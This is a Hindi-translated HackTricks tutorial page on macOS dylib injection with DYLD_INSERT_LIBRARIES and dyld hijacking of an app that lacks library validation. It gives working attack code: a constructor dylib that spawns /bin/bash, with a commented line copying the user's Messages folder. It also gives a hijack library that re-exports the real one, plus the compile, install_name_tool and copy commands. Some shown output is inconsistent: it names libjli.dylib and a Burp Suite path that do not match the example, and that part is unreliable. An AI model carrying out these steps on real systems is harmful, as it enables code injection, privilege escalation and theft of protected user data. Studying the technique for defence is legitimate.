hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

9.9 KiB

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

DYLD_INSERT_LIBRARIES मूल उदाहरण

शैल को निष्पादित करने के लिए इंजेक्ट करने वाली पुस्तकालय:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

आक्रमण के लिए बाइनरी:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

संधारण:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld हाइजैकिंग उदाहरण

लक्षित वंलरेबल बाइनरी है /Applications/VulnDyld.app/Contents/Resources/lib/binary.

{% tabs %} {% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %}

{% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)

{% endcode %} {% endtab %}

{% tab title="@rpath" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

{% endcode %} {% endtab %} {% endtabs %}

पिछली जानकारी के साथ हमें पता चलता है कि यह लोड की गई पुस्तकालयों के हस्ताक्षर की जांच नहीं कर रहा है और यह एक पुस्तकालय लोड करने की कोशिश कर रहा है:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

हालांकि, पहला मौजूद नहीं है:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

इसलिए, इसे हाइजैक करना संभव है! एक लाइब्रेरी बनाएं जो कुछ अनियमित कोड को क्रियान्वित करती है और वास्तविक लाइब्रेरी की तरह समार्थन निर्यात करती है उसे पुनः निर्यात करके। और याद रखें कि इसे उम्मीद की गई संस्करणों के साथ कंपाइल करें:

{% code title="lib.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

{% endcode %}

इसे कंपाइल करें:

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

{% endcode %}

पुनयायात्रा पथ जो पुस्तकालय में बनाया गया है, लोडर के संबंध में सापेक्ष है, हम इसे निर्यात करने के लिए एक पूर्ण पथ के लिए बदल देंगे:

{% code overflow="wrap" %}

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

अंत में इसे हाइजैक की गई स्थान पर कॉपी करें:

{% code overflow="wrap" %}

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

{% endcode %}

और बाइनरी को चलाएं और जांच करें कि लाइब्रेरी लोड हो गई है:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

{% hint style="info" %} इस व्यक्तिगत दुरुपयोग को दुरुपयोग करने के लिए इस कमजोरी के बारे में एक अच्छा लेख https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ में मिल सकता है। {% endhint %}

बड़े पैमाने पर

यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्शन करने की कोशिश कर रहे हैं तो आप प्रक्रिया के अंदर लाइब्रेरी लोड होने का पता लगाने के लिए घटना संदेशों की जांच कर सकते हैं (इस मामले में printf और /bin/bash निष्क्रिय करें)।

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: